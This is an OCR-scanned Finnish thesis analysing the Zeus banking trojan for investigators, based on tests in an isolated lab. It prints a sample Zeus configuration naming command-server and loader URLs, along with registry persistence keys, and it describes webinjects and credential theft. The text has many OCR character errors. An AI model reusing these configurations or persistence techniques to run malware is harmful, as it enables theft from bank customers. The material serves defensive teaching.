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1 Johdanto

Tietoturvallisuus on aina ollut ajankohtainen asia tietotekniikan maailmassa. Toisen
hallussa olevaa tietoa on pyritty anastamaan, havittimaan ja vaaristelemain niin kauan,
kuin jollakin on ollut toiselle arvokasta tietoa. Tami asia ei ole muuttunut mihinkain
thmiskunnan tirkeiden toimintojen siirtyessi yhd enenemissid miirin verkkoon. Inter-
netin myota tiedon kiytettdvyys on saanut aivan toisenlaisen kisityksen. Thmiset siirti-
vit henkilokohtaisia tietojaan pilveen, vaikka eivit niin vilttimatta ymmarra tekevansa.
Googlen, Facebookin ja Microsoftin tarjoamien palveluiden kaytt6 on lisddntynyt ra-

jahdyksenomaisesti viimeisend vuosikymmeneni.

Tietojen kaytettavyys on ollut varmasti yksi eteenpdin ajava voima, kun pankkipalvelui-
ta alettiin siirtiméddn verkkoon yhdeksinkymmentiluvun alkupuolella. Samaan aikaan
tietokonevirusten, troijalaisten ja matojen kirjoittajat kehittivat tuotteitaan niin, etta
niilla voitiin hyokata verkkopankkien asiakkaita vastaan. Tama hyokkaysvektori on
toiminut viimeiset vuosikymmenet niin hyvin, ettd verkkopankit ovat saaneet olla
hyokkayksilta rauhassa. Pankkien ja viranomaisten tyotéd vaikeuttaa se, ettd verkko-
pankkien kayttijilta anastetuilla tunnuksilla tehtya tunkeutumista on hyvin vaikeaa es-
tad. Pankkitunnuksia pyritaan anastamaan kalastelemalla (Eng. phishing) ja tietoa anas-

tavien haittaohjelmien avulla.

Jotta haittaohjelmia ja yleensi tietoverkkorikollisuutta vastaan pystytain toimimaan
tehokkaasti on tietoturva-alan eri toimijoiden vilisen tiedonvaihdon oltava tehokasta.
Tietoturvayhtiot tekevit jatkuvasti toitd analysoidakseen uusia verkossa litkkuvia haitta-
ohjelmia ja muita uhkia. Tdmin tiedon jakaminen kaikkien toimijoiden kesken on pa-
rantanut valmiuksia torjua nykyisid ja varautua tuleviin uhkiin. Lisdksi on my0s erittain
tirkedd ottaa oppia jo alemmin tutkituista ja analysoiduista haittaohjelmista. Tdmi on
ollut helpoin tapa tutustua haittaohjelmiin ja niiden toiminnallisuuksiin. Tietoturvayhti-
6iden tekemit analyysit ovat usein erittdin teknisid, jolloin vihemmin teknisesti orien-
toituneen on hyvin vaikea paisti asiaan kasiksi. Aloitteleville tietoturvan kanssa tekemi-
sissd oleville ammattilaisille suunnatusta materiaalista on pula. Muun muassa poliisilla ja

pankeilla on toissa henkil6ita, jotka tyonsa puolesta joutuvat tekemisiin haittaohjelmien



avulla tehtyjen rikosten kanssa. Monesti nididen henkiléiden tekniset valmiudet eivit

riitd ymmartamaan ammattilaisten tekemiéd haittaohjelma-analyyseja.

Tidssd opinndytetyossd kiyddin lipi yhden maailman tunnetuimman haittaohjelman,
Zeuksen, rakennetta ja toiminnallisuutta. Tyon lihdemateriaalina on kiytetty tietotur-
vayritysten analyyseja ja tarkoitusta varten asennetussa virtuaaliymparistossa haittaoh-

jelmalla suoritettuja testeja.

1.1 Tavoitteet ja rajaus

Tyon tarkoituksena on tuottaa tietoturvakoulutusta varten kiaytinnon materiaalia pank-
kihaittaohjelmista. Internetissa esiintyvista pankkihaittaohjelmista Zeus valikoitui koh-
teeksi sen yleisyyden vuoksi ja koska sen tutkimisesta on Suomessa paljon kokemusta.
Opinndytetyon materiaali pohjautuu tietoturvayhtididen tekemiin analyyseihin, kdytin-
non testeihin ja kirjoittajan omiin kokemuksiin Zeuksen avulla toteutettujen rikosten
tutkimisesta. Tuotetun materiaalin kohderyhmini ovat tietoturva- tai muulla alalla
tyoskentelevit henkil6t, joiden arkeen pankkihaittaohjelmat tavalla tai toisella kuuluvat.
Niihin ammattilaisiin lukeutuvat muun muassa verkkorikoksia tutkivat poliisit ja pank-
kien tietoturvan kanssa tekemisissd olevat henkil6t. Opinnaytetyon pohjalta valmistuu
tulevaisuudessa laajempi opintokokonaisuus, jonka yhdeksi tirkedksi osaksi tyotd var-

ten rakennettu virtuaaliymparisto jaa.

Ty6ssi ei analysoida Zeuksen lihdekoodia, eikd suoriteta haittaohjelman takaisinmal-
linnusta. Tyohon tutustuvan on kuitenkin tunnettava tietotekniikkaa ainakin kasiteta-
solla. Lisiksi verkkoliikenteen ja Windows-kéyttojirjestelmin tunteminen helpottavat

Zeuksen toiminnan ymmartamista.



1.2 Kisiteanalyysi

Haittaohjelma, Eng. malware, on yleinen termi haitalliselle tietokoneohjelmalle. Hait-

taohjelmia ovat esimerkiksi virukset, troijalaiset ja madot.

Pankkihaittaohjelma, Eng. banking malware, on haittaohjelma, joka on suunniteltu
erityisesti verkkopankkitunnusten ja muiden verkkomaksuvilineiden (muun muassa

luottokorttien) tunnisteiden anastamiseen.

Botti, Eng. bot, on yleisempi nimitys haittaohjelmalle, jonka yksi tehtdvd on ottaa uhrin
tietokone haltuun, niin ettad hyokkaaja voi kayttaa sitd omiin tarkoituksiinsa. Yleensa
botteja kdytetddn rikollisiin tarkoituksiin, kuten tietojen varastamiseen, roskapostittami-

seen tai muiden haittaohjelmien levittimiseen.

Bottiverkko, Eng. botnet, on useiden bottien hallitsemien koneiden muodostama
verkko. Tillaisen verkon avulla verkkorikollinen voi suorittaa esimerkiksi massiivisia

palvelunestohyokkayksia tai roskapostikampanjoita.

Troijalainen, Eng. trojan, on haittaohjelma, joka uhrin koneelle padstydin suorittaa
jarjestelmalle haitallisia ohjelmia. Troijalainen nimi juontaa juurensa antiikin tarusta,
jossa Troijan valtakunnan viholliselleen lahjana antamaa puuhevosta kaytettiin salakul-
jettamaan sotilaita vihollisen linnoitukseen. Samalla tavalla haittaohjelma tuotetaan uh-

rin koneeseen esimerkiksi luotettavan oloisen ohjelman sisalla.

Kalastelu, joskus my6s khalastelu, Eng. phishing, on yleinen termi verkkorikosten
toimintamallille, jolla pyritdan saamaan uhrilta arkaluontoista tietoa haltuun. Phishing
tapahtuu padosin sihkopostin vilitykselld, mutta sitd tehdddn my6s Internetissa erilaisil-

la lomakkeilla ja my6s puhelimitse.

XMPP on yleinen pikaviestimissa kaytetty protokolla. Sitd kdytetdian muun muassa Fa-
cebook Chat ja Google Talk -palveluissa. XMPP on lyhenne sanoista Extensive Messa-

ging and Presence Protocol.



2 Pankkihaittaohjelmat

Verkossa on tarjottu pankkipalveluita jo vuodesta 1994 saakka. Alusta ldhtien rikolliset
ovat kehittineet haittaohjelmia kiertidkseen niiden turvajirjestelmid saadakseen talou-
dellista hy6tyd. Vuonna 2003 verkossa oli havaittu jo noin 20 erilaista haittaohjelmaa,
jotka olivat suunnattu nimenomaan verkkopankkipalveluita vastaan. (Doherty, Krysiuk

& Wueest 2013.)

Pankkihaittaohjelmien avulla tehdyt petokset ovat tilld hetkelld taloudellisilla mittareilla
mitattuina ylivoimaisesti eniten vahinkoa aiheuttavia verkkorikoksia maailmalla. Vuo-
den 2012 alussa julkaistujen lukujen mukaan niiden aitheuttamat vahingot edellisen vii-
den vuoden ajalta olivat noin miljardi dollaria. Tuolloin Zeus vastasi noin 80 % maail-

man pankkihaittaohjelmien avulla tehdyistd rikoksista. (RSA 2012.)

Suomen osalta lukuja ei ole julkaistu vaikka Zeusta on kaytetty verkkopankkipetosten
tekemiseen taillakin useita vuosia. Taman opinndytetyon tekija on tyoskennellyt Kes-
kusrikospoliisissa verkkorikoksia tutkivassa yksikossi tutkijana vuodesta 2011 saakka.
Yksikossd on tutkittu muun muassa vuoden 2011 marraskuussa alkanutta suurta rikos-
kokonaisuutta, jossa Zeuksen avulla on useiden eri pankkien asiakkaiden tileilta siirretty
onnistuneesti rahaa. Taloudellisiin tappioihin ei sisilly pelkistddn anastetut varat. Kun
uhreilta varastettujen varojen lisaksi kustannuksiin lasketaan mukaan muut valilliset
kulut, kuten viranomaisten ja kohteena olevien pankkien asiaan liittyvat selvittelykus-
tannukset, ovat Zeuksen aitheuttamat taloudelliset menetykset varsin suuria. Valitetta-
vasti nditd lukuja harvoin ndhddin missddn yhteenlaskettuna ja artikkeleihin seki oike-

ussaliin paityy vain anastettujen varojen yhteissumma.

2.1 Pankkihaittaohjelmien ominaisuudet

Verkossa kiytettidvid maksuvilineitd ja niiden kidyttéjid vastaan suunnatut nykyaikaiset
haittaohjelmat kykenevit manipuloimaan uhrin ja kohdepalvelun vilistd litkennetti ja
sieppaamaan sielta esimerkiksi luottokorttitietoja tai verkkopankkitunnuksia. Taman

lisiksi uhrin konetta voidaan kidyttdd vilityspalvelimena peittiméin rikollisten omaa
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verkkolitkennettd tai uhrin omaa verkkolitkennettd voidaan ohjata uudestaan rikollisten
haluamille sivustoille. Haittaohjelmien avulla rikolliset pystyvat myos kayttimain uhrin
konetta etity6poytiyhteyden avulla. Haittaohjelmissa on my6s ominaisuuksia, joiden

avulla uhrien tietokoneen kaytosta ja verkkoyhteyksien avaamisesta viestitadn haittaoh-

jelmaa hallitseville rikoksille muun muassa pikaviestiohjelmien avulla. (Donohue 2013.)

Nykyaikaiset pankkihaittaohjelmat kayttavat uhrin verkkolitkenteen sieppaamiseen ja
manipuloimiseen niin kutsuttua man-in-the-browser-tekniikkaa. Tdmi tarkoittaa sité,
etta haittaohjelma sieppaa verkkoliikenteen nettiselaimen ja kayttojarjestelman rajapin-
nasta. Verkkolitkenteestd haittaohjelma pystyy anastamaan salasanoja ja muokkaamaan

uhrin internet-selaimen nakymai rikollisen toivomalla tavalla. (Trusteer 2013.)

2.2 Zeuksen historia ja nykytila

Zeus tuli myyntiin ja kenen tahansa ostettavaksi vuonna 2007 (Falliere & Chien 2009).
Alkuaikoina Zeuksen tdysi versio maksoi 10 000 dollaria internetin pimeilld markkinoil-
la. Kaksi vuotta mychemmin se sai vastaansa varteenotettavan kilpailijan: troijalaisen
nimelta Spyeye. Spyeyen kirjoittaja yritti horjuttaa Zeuksen markkina-asemaa selkeasti
halvemmalla hinnalla. Kahden suuren haittaohjelman kamppailu ei kestinyt montaa
vuotta. Vuonna 2011 Zeuksen lihdekoodi tuli vapaasti ladattavaksi verkkoon, minki
johdosta Zeuksen kiyttoaste lisddntyi huomattavasti. Lihdekoodin vapautuminen oli
yksi syy, miksi Zeuksesta tuli maailman suosituin pankkihaittaohjelma. Zeuksen kehit-
tdjin sanottiin itse laittaneen koodin saataville ja vetiytyneen julkisuudesta, mutta tieto-

turvatutkijat vaittavat, ettd tima olisi jatkanut Zeuksen kehittamista taustalla. (RSA

2013)

Zeuksen lihdekoodin tultua yleiseen jakoon on haittaohjelma kehittynyt koko ajan
toimivampaan suuntaan ja vaikeammin havaittavaksi. Kaksi ensimmadista, ja talld hetkel-
14 tunnetuinta, ldhdekoodin julkaisun jilkeen valmistettua Zeuksen versiota ovat nimel-
tadn ICE IX ja Citadel. Versioissa on muun muassa vaihdettu kiytettyd salausalgorit-
mia, jolloin sen tutkimista takaisinmallinnusta hyviksikéayttden on vaikeutettu. (RSA

2013, 3.)



My6hemmissa Zeuksen versioissa verkkolitkenteen jéljittaimista on vaikeutettu entises-
tidn. Zeuksesta on nykydin olemassa versio, joka kayttid tiedon liikuttamiseen vertais-
verkkoa, mikd tekee haittaohjelman verkkolitkenteen seuraamisen lihes mahdottomaksi
(Gallagher 2012). Toinen Zeuksen moderni versio siirtdd botin ja sen komentopalveli-
men vilisen litkenteen kokonaan Tor-verkkoon (Tarakanov 2013). Tor-verkossa verk-

kolitkenne kulkee salattuna useiden ympiri maailmaa ylldpidettyjen palvelimien kautta

(Torproject).

Tietoturvayhti6 Symantec (2013) listasi tutkimuksessaan The State of Financial Trojans
seitseman levinneinta troijalaista, jotka olivat saastuttaneet yhteensa useita miljoonia
koneita ympiri maailman (Taulukko 1). Taulukosta voi nidhda, ettd vield seitsemin
vuotta rikollisille markkinoille tulon jilkeen Zeus on edelleen selvisti levinnein troija-

lainen, mita verkosta 16ytyy.

Taulukko 1. Seitsemin levinneimmin troijalaisen tartuttamat koneet vuonna 2013 (Sy-

mantec 2013.)

Troijalainen Saastutetut tietokoneet
Zeus (Zbot+Gameover) > 2000 000 kpl
Cridex > 125 000 kpl

Shylock > 33 000 kpl

Spyeye > 26 000 kpl

Bebloh > 21 000 kpl

Mebroot > 9000 kpl

Tilon (Tylon) > 2000 kpl




3 Zeuksen rakenne

Haittaohjelmana Zeus edustaa troijalaisten ryhmia. Varsinainen troijalainen on ajettava
ohjelmatiedosto, joka uhrin koneella toimiessaan aiheuttaa konkreettiset vahingot ja
sieppaa hyokkaidjan haluamia tietoja. Tama ei kuitenkaan riita rikoksen tekemiseen vaan

rikollinen tarvitsee troijalaisen ympirille oman infrastruktuurin (Kuvio 1).

E Zeus sieppaa ja modifioi uhrin ja kohdepalvelun
valista litkennetta uhrin selaimessa
Zeuksen saastuttama ﬁemkoné""-»-._‘_y Haittaohjelman kohteena oleva
(uhri) verkkopalvelu
... Rikollisen hallitsema Zeuksen
Rikollisen tyoasema komentopalvelin
e )

[P

_____

Kuvio 1. Zeuksen infrastruktuuri

Saadakseen varsinaisen haittaohjelman ja sen tarvitseman infrastruktuurin rikollisen on
saatava Zeuksen asennuspaketti haltuunsa. Asennuspaketti hankitaan yleensi ostamalla
se joltakin internetissa sijaitsevalta rikollisten kayttamaltd foorumilta. Zeusta ja sithen
liittyvid osia ostaessaan rikollinen on jo suunnitellut, mihinka hin sita aikoo kayttaa.
Mahdollisuuksia on monia: hin voi suunnitella sieppaavansa luottokorttitietoja tai
verkkopankkien asiakkaiden tunnuksia. Niiden lisdksi hinen miiriteltivd minkd mai-
den ja yritysten asiakkaiden tietoja haittaohjelma kerdd. Asennuspaketti antaa rikolliselle
tarvittavat tyOkalut haittaohjelman uhrin koneelle asentavan ohjelman luomiseen. Li-
saksi paketti sisaltda haittaohjelman hallintaan kaytettdvin komentopalvelimen asenta-
miseen tarvittavat ohjelmatiedostot. Asennuspaketin ja haittaohjelman kohdentamiseen
tarvittavien tiedostojen, eli injektioiden lisdksi rikollisen tarvitsee hankkia kdytt6onsi
palvelin, jonne komentopalvelimen tarvitsemat tiedostot asennetaan. Rikollisten on

mahdollista kdyttdd murrettuja palvelimia tai vuokrata oma palvelin titd kdyttod varten.



Asennuspaketin oston ja palvelimen hankkimisen jilkeen rikollisen on luotava Zeuksen
lataamiseen ja asentamiseen tarvittava ohjelma seka asentaa palvelin valmiiksi ottamaan

vastaan botilta tulevia yhteydenottoja. (Falliere & Chien 2009.)

3.1 Botin luonti ja komentopalvelimen asennus

Asennusty6kalu on muodoltaan Windows-kayttojirjestelmaissi ajettava exe—
ohjelmatiedosto (Kuvio 2). Asennustytkalun avulla Zeuksen ostanut henkil6 pystyy
luomaan varsinaisen haittaohjelman ja sen tarvitseman konfiguraatiotiedoston. Muok-
kaamaton konfiguraatiotiedosto on asennustyokalun mukana tavallisena tekstitiedos-
tona. Erikseen hankittava verkkoliitkenteen sieppaamiseen tarkoitettu webinjektio sijoi-
tetaan myos samaan hakemistopolkuun konfiguraation kanssa, jotta ohjelma pystyy
luomaan toimivan botin. Ohjelma luo haittaohjelman levittdjdn valitsemilla nimilld
kaksi tiedostoa, joista toinen on haittaohjelman suoritettava asennustiedosto ja toinen
salattu konfiguraatiotiedosto. Konfiguraatiotiedosto sijoitetaan Zeuksen tarvitsemalle
komentopalvelimelle odottamaan haittaohjelman yhteydenottoa. (Wyke 2011, 3—4; Ze-
us User Guide 2012.) Komentopalvelin tarvitsee toimiakseen web- ja MySql-
tietokantapalvelimen seka PHP-tulkin asennuksen. Asennuspaketissa on mukana tarvit-
tavat tiedostot komentopalvelimen asentamiseksi joko Windows- tai Linux-

palvelinympiristoon. (Zeus User Guide 2012, 5.)
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Kuvio 2. Zeuksen asennustyokalu (Kuvankaappaus testiymparistosta.)

3.2 Konfiguraatiotiedosto

Zeuksen asennuspaketin mukana on tekstitiedosto, joka sisdltid konfiguraatiotiedoston
pohjan. T4hin tiedostoon sy6tetddn niiden nettisivujen osoitteet, joita halutaan valvoa,
eli joiden kayttdjitunnukset ja salasanat botti kerdi talteen ja lihettdd komentopalveli-
melle (Kuvio 3). Tarkeimmat syotettavit osoitteet konfiguraatiossa ovat url_config,
url_loader ja url_server kohdissa. Niille riveille sy6tetddn konfiguraation ja botin piivi-
tystiedostojen sekd komentopalvelimen tarkat osoitteet tiedostonimineen. (Wyke 2011,

4; Zeus User Guide 2012.)
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;Build time: 10:13:05 01.07.2011 GMT
;version: 2.1.0.1

entry "staticconfig"

;botnet "btni"

timer_config 60 1

timer_logs 1 1

timer_stats 20 1

url_config "http://iceixcontrolpanel.com/cfg.bin"

remove_certs 1

disable_tcpserver 0

gncryption_key "jNBF43098092j0ojf209u402jf2polaa”
en

entry "DynamicConfig"
url_loader "http://iceixcontrolpanel.com/file.exe’
url_server "http://iceixcontrolpanel.com/tyt.php”
file_webinjects "webinjects.txt”
entrK "Advancedconfigs
; "http://advdomain/cfgl.bin"

end
entry "webFilters"
end
entry "webDataFilters"
end
entry "webFakes"
end
end

Kuvio 3. Esimerkki konfiguraatiotiedostosta (kuvankaappaus testiympéristOsta.)

3.3 Webinjektio

Tirkein osa Zeuksen toiminnallisuutta on webinjektio (Eng. webinject). Webinjektio
rakennetaan muusta botista erillain ja sen kehittiminen on verkkorikollisten keskuu-
dessa oma toimintonsa. Injektioita koodaavat henkil6t myyvit tuotteitaan Internetin
alamaailmassa yleensi tilauksesta. Tehdikseen toimivan injektion on koodaajan tutus-
tuttava kohteena olevan verkkopankin toimintaan. Toimiva injektio hamaa uhria saa-
den timin uskomaan selaimen nikymin olevan autenttinen verkkopankin sivusto, eiki
tama osaa epiilld osan tietokentista olevan tekaistuja. Injektion avulla haittaohjelmalla
voidaan kiertdd verkkopankkien tietoturvan kohottamiseksi tehdyt JavaScript-ohjelmat
ja muokata uhrin selaimen nikymai. Kiytinn6ssi haittaohjelmalla voidaan luoda ko-
konaan uusi html-sivu, korvata alkuperdiset lomakkeen kohdat uusilla, tai pelkdstdin
lisitd aitojen tietokenttien lisdksi sivulle uusia tiedonsy6ttoruutuja. Esimerkiksi verkko-
pankin kirjautumissivulle voidaan kayttdjatunnusta ja salasanaa kysyvien tietoruutujen
alle sijoittaa kohdat, jotka kysyvit luottokortin numeroa ja turvakoodia. Oleellista injek-
tiossa on se, ettd uhri ei missddn vaiheessa siirry pois pankin sivustolta, vaan koodi in-
jektoidaan samaan istuntoon suoraan uhrin selaimeen. Ndin suojatusta verkkoyhteydes-
ta kertovat lukon tms. kuvat eivat paljasta haittaohjelman sieppaavan uhrin lomakkeelle

tekemia syotteita. (Smith 2013.)
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Verkkorikollisten alamaailmassa webinjektioista on tullut jo erddnlainen standardi. Ze-
uksen eri versioiden lisiksi samanlaista injektiota kdyttdvit muun muassa Zeuksen van-

ha kilpakumppani Spyeye ja Suomessa harvinaisempi Carberp. (Milletary 2012, 2.)

3.4 Salasanojen varastaminen

Zeuksen perusolemukseen kuuluu salasanojen varastaminen. Asennuksen jilkeen botti
keraa muun muassa internetselainten ja eri FTP ja POP3 — palvelimien tallennetut sa-
lasanat. Kisikirjan mukaan botti kaappaa ainakin seuraavien tunnettujen ohjelmien kir-
jautumistiedot automaattisesti: FlashFXP, CuteFtp, Total Commander, WsEFTP, File-
Zilla, FAR Manager, WinSCP, FTP Commander, Core FTP ja SmartFTP. (Zeus User
Guide 2012, 2.)

Saadakseen my0s jo sisddnkirjattujen palveluiden salasanat botti poistaa Internet Explo-
rerin Cookie-tiedostot, jotta uhri olisi pakotettu kirjautumaan kaikkiin verkkopalvelui-
hin uudestaan. Botti pystyy my6s importoimaan sertifikaatit Windowsin sertifikaattiva-
rastosta. Zeukseen on myo6s rakennettu keylogger-toiminnallisuus, jolla uhrin nap-
paimiston painallukset pystytdan tallentamaan. Jos uhri kiyttaa virtuaalista nappaimis-
toa keyloggerin pelossa, Zeus kykenee tarvittaessa tallentamaan muutaman neliosentin
kokoisen naytonkaappauksen hiiren osoittimen ympiriltd uhrin painaessa hiiren vasen-
ta ndppdintd. Botin konfiguraatiotiedostoa luodessaan haittaohjelman levittija valitsee
botin seuraamat nettiosoitteet. Kun uhri vierailee niilla sivuilla, keraa botti sivustoille
syotettava kayttajatunnukset ja salasanat. Haittaohjelman levittaja pystyy merkitsemaan
muut edelld mainitut toiminnot verkkosivukohtaisesti. Esimerkiksi, jos hyokkaiji tietda
jonkin sivuston kayttavan virtuaalinappaimistoa kayttajatunnusten ja salasanojen syot-
toOn, pystyy hin asettamaan botin suorittamaan kuvankaappauksen vain talld kyseiselld
sivustolla. Niin hy6kkidija pystyy kontrolloimaan botin ja komentopalvelimen vilisen

litkenteen tietomairaa karsimalla turhaa tietoa pois. (Selvaraj 2010.)
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4 Zeuksen toiminta

Zeuksen toiminnan tutkimista varten asennettiin oma virtuaaliymparistd. Téassd ympa-
ristGssd Zeusta pystyttiin kiyttimiin ilman pelkoa, ettd se aiheuttaisi vahinkoa aidossa
verkkoymparistossd. Virtuaaliympiriston etuna on myos eri tyotilojen palauttaminen
snapshot—toiminnon avulla. Niin esimerkiksi saastutettu tydasema voitiin palauttaa
nopeasti aiempaan tilaan, missa se oli ennen saastutusta. Menetelma on yleinen erityi-

sesti antivirusalalla.

Vaikka rikollinen pystyy asentamaan Zeuksen komentopalvelimen Linux-palvelimelle,
niin varsinainen haittaohjelma toimii vain Microsoftin Windows-ympiristossi. Tutkit-
tavana oleva Zeuksen versio 2.1.0.1 tukee Windowsin kayttojirjestelmistd Vistaa, XP:td
ja 7:d4d. Haittaohjelma voidaan asentaa niiden lisiksi my6s Windowsin palvelimiin
2003/2003R ja 2008/2008R. Haittaohjelma toimii my6s 64-bittisissd kiyttojirjestelmis-

sd, mutta vain sen 32-bittisissd prosesseissa (Zeus User Guide 2012).

Bottiin on rakennettu turvamekanismeja, joiden tehtivini on haitata sen tutkimista ja
poistamista. Asennettua bottia ei esimerkiksi voi siirtdd toimimaan muuhun ympiris-
t66n, kuin mihin se on asennettu. Botti luo aina asennettuaan uniikit tiedostonimet ja
rekisteriavaimet. Botin piivittiminen ei my6skiin vaadi tietokoneen uudelleen kdynnis-

tamista.

4.1 Menetelma ja tavoitteet

Tissa tyossa tutkitun Zeuksen version toimintaan tutustuttiin saastuttamalla erillisia
koneita, seka virtuaalisia etta fyysisid, ja seuraamalla hyokkaijan nakékulmasta timan
infrastruktuurin toimintaa. Asennustyon pohjana kaytettiin Zeuksen omaa kayttéohjet-
ta, joka ladattiin internetistd. Kdyttbohjeen alkuperii on tilld hetkelli mahdoton jiljit-
tad, koska sen kirjoittajaa ei tunneta. Asentamalla Zeus ja sen tarvitsemat palvelimet

voitiin samalla varmistua kiyttoohjeen oikeellisuudesta.

Ensisijaisena tavoitteena oli saada ymmirrys Zeuksen ja sen tarvitseman infrastruktuu-

rin toiminnasta. Virtuaaliympiristo rakennettiin sellaiseksi, ettd se on hyédynnettivissd
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myo6s opetuskaytossa havainnollistavana vilineena. Lisdksi rakennettu ympiristo palve-

lee my6s muiden haittaohjelmien ominaisuuksien selvittimisessa.

4.2 Virtuaaliympdaristén asennus

Virtuaaliympiristo rakennettiin mahdollisimman paljon ilmaisten ja avoimen lihdekoo-
din ohjelmistojen pohjalle. Virtuaalisointiin kiytettiin VirtualBoxin viimeisintd saatavilla
olevaa versiota. Palvelimina kiytettiin Ubuntu 12.04 GNU/Linux kiyttojitjestelmii,
joita ympiristoon asennettiin kaksi kappaletta, sekd yksi Windows Server 2003. Palve-
limien tehtdvit oli mairitelty niin, ettd yksi Ubuntu toimi komento- ja hallintapalveli-
mena, jolla hallittiin bottia ja sen lihettimii tietoja. Toinen Ubuntu toimi kohdepalve-
limena, jonka tehtdvini oli toimia vain webbipalvelimena. Windows Serverin toimi ni-
mipalvelimena, jotta verkko toimisi mahdollisimman paljon oikean internetin tavoin.

IP-osoitteita jakavan DHCP-palvelimen roolia hoiti tassa tapauksessa langaton reititin.

Ty6asemiksi asennettiin virtuaalikoneisiin kaksi 64—bittistdi Windows 7 kayttojirjestel-
maa toisen toimiessa verkkorikollisen paitteena ja toisen uhrin tydasemana. Kun Zeus
oli saatu toimimaan virtuaalikoneilla, testattiin sitd myos erilliselld poytikoneella. Télla
pyrittiin varmistamaan, ettei Zeuksen asentaminen virtuaalikoneelle muuttanut sen
toimintaa oleellisesti. Asennuskoneena toimi HP:n perusty6asemalle asennettu 32—

bittinen Windows 7.

4.3 Uhrikoneen saastutus

Reaalimaailmassa tyypillinen tapa saastuttaa uhrin kone, on toimittaa asennusohjelma
uhrille sihképostin liitetiedostona, jonka avaamalla uhri saa troijalaisen koneelleen. Uh-
ri voidaan my0s ohjata haitalliselle verkkosivulle linkin avulla. Linkki voidaan tarjota
joko sihképostissa, verkkosivulla olevan mainosbannerin kautta tai sosiaalista mediaa
hyviksikayttien. Esimerkkina vuonna 2013 raportoitiin Facebook—sivusta, jonka kautta

tarjottiin linkkid Zeusta levittavalle sivustolle (Tom 2013).

Tamin tyon tarkoituksena ei ole menna tietokoneen saastuttamisen yksityiskohtiin,
joten Zeusta testatessa koneet saastutettiin yksinkertaisesti toimittamalla Zeuksen la-

taustiedosto koneelle muistitikulla ja ajamalla se kisin. T4td ennen sammutettiin mah-
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dolliset antivirusohjelmat ja Windowsin palomuuri, ettd ne eivit estineet testin suorit-
tamista. Testissd kdytetty Zeuksen versio oli kaksi vuotta vanha ja sen tunnistetiedot

olivat jo kaikkien tunnettujen antivirusohjelmien tiedossa.

Asentaessaan itseddn koneelle botti teki muutoksia tietokoneen ja sijoitti itsensd kova-
levylle. Asennuksen yhteydessd Zeus tallensi suoritettavan tiedoston seuraavaan koh-
teeseen C:\Users\ "kiyttdjanimi"\ AppData\Wusoe\esxa.exe. Application Data — kan-
sion alle tulevan kansion ja sen alle tallentuvan ohjelmatiedoston nimet botti muodosti
satunnaisesti. Tamin lisiksi Zeus teki Windowsin rekistereihin seuraavan muutoksen:
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run\ {B
17D99DE-8E6C-D240-A0FA-415363DD92966} =

C:\Users\ "kiyttdjinimi" \ AppData\Wusoe\esxa.exe. Tilld muutoksella botti varmist,
ettd se ajetaan uudestaan aina tietokoneen kidynnistyksen yhteydessi. Aaltosulkeissa

oleva merkkijono on konekohtainen.

Testissd todettiin myOs Zeuksen ominaisuus, jolla botti ottaa Internet Explorerin
phishing filterin pois pdiltd. Tdmidn ominaisuuden avulla selain testaa sivustojen haital-
lisuutta verkossa olevia haitallisten sivustojen listaa vasten. Alla olevassa kuvassa nakyy,
kuinka tietokoneen rekisterissi sijaitseva phishing filterin EnabledV8 -arvon bitti on

muutettu botin toimesta nollaksi (Kuvio 4).
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Q Registry Editor
File Edit View Favorites Help

-y TLS10 -
- . TLSL1
- Jy TLS1.2
~ . XMLHTTP

. HTTP

. INTERNATIONAL

. JAVA_ VM

. MULTIMEDIA

. PRINT

- . SEARCHING

- ., Application Compatibility

Type Data

REG_SZ (value not set)
REG_DWORD 000000000 (0)

-, AutoComplete
-, Capabilities
, Default Behaviors

. Document Caching
. EmbedExtnToClsidMappings
. Extension Compatibility
. Feed Discovery
- . Image Caching
- . InformationCard Token Provider
»- 1. Low Rights
> )0 MAIN
»»»»» . Migration
>- )i P3 =
. PhishingFilter

ne

< | i [ »

Computer\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\PhishingFilter

Kuvio 4. Internet Explorer 8:n smart screen filtterin kytkeminen pois paalta (kuvan-

kaappaus testiympiristosta.)

Toisessa Zeuksen avoimeen lihdekoodiin pohjaavassa suositussa versiossa Citadelissa
botin ajettava tiedosto tallentuu samaan paikkaan kuin kisiteltivini olevassa versiossa.
Myé6skin rekisterimuutokset ovat pysyneet samankaltaisina, toki erilaisia toiminnalli-

suuksia ja rekisterimuutoksia on Citadelissa enemman. (Milletary 2012.)

Zeuksen 2.0:aa edeltdvissi versiossa botti asentui kahdella eri tavalla riippuen siitéd oli-
ko uhri kirjautuneena yllipitajin vai tavallisen kayttajan oikeuksin (Nahorney & Falliere
2009). Vanhemmassa versiossa latauskansiot ja rekisterimuutokset menivit oheisen

taulukon mukaisesti (Taulukko 2):
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Taulukko 2. Edellisen Zeuksen version (Zbot) tallennuspolut ja rekisterimuutokset

(Nahorney & Falliere 2009).

Kayttajan | Asennuskansio Rekisterimuutokset

rooli

Yllapitaja %system32% \sdra64.exe HKEY_LOCAL_MACHINE\SOFTWA
RE\Microsoft\Windows N'T
\CurrentVersion\Winlogon\"Userinit" =
"%System?%o\userinit.exe, %Sys-

tem%\sdra64.exe"

Tavallinen | %UserProfile%\Application | HKEY_CURRENT_USER\ SOFT-
Data\sdra64.exe WARE \Microsoft\Windows

\ CurrentVersion\Run\’userinit” =
“0/oUserProfile%\ Application
Data\sdra64.exe”

4.4 Verkkoliikenteen sieppaaminen

Zeuksen kayttimaa man-in-the-browser -tapaa testattiin myos virtuaaliymparistoon
asennetulla kohdepalvelimella. Palvelimelle asennetulle webbipalvelimelle luotiin yksin-
kertainen sisddnkirjautumissivu, jonka nikymia itse tehdyn webinjektion avulla muutet-
tiin. T4lld tavalla voitiin demonstroida Zeuksen tapaa siepata uhrikoneen verkkolitken-
ne selaimen ja kayttojarjestelmin rajapinnasta. Reaalimaailmassa webinjektion avulla
uhria onnistutaan monesti himédimain, koska suojatusta yhteydesti kertova lukon kuva
ei poistu selaimen osoitepalkista. Testissa ei kaytetty suojattua yhteytta, joten tita ei
voitu testin avulla havainnollistaa. Lomaketietojen sieppaaminen on Zeuksessa toimin-
nallisesti oletuksena. Tami voitiin todeta my6s testin perusteella. Webinjektiolla ei vai-

kutettu kayttijatunnus- ja tunnuslukukenttiin.

Alla olevissa kuvankaappauksissa esitetdan testissa tehty hyvin yksinkertainen webinjek-

tio. Ensimmaisessd kuvassa on esitetty kohdepankin kirjautumissivun lihdekoodi.
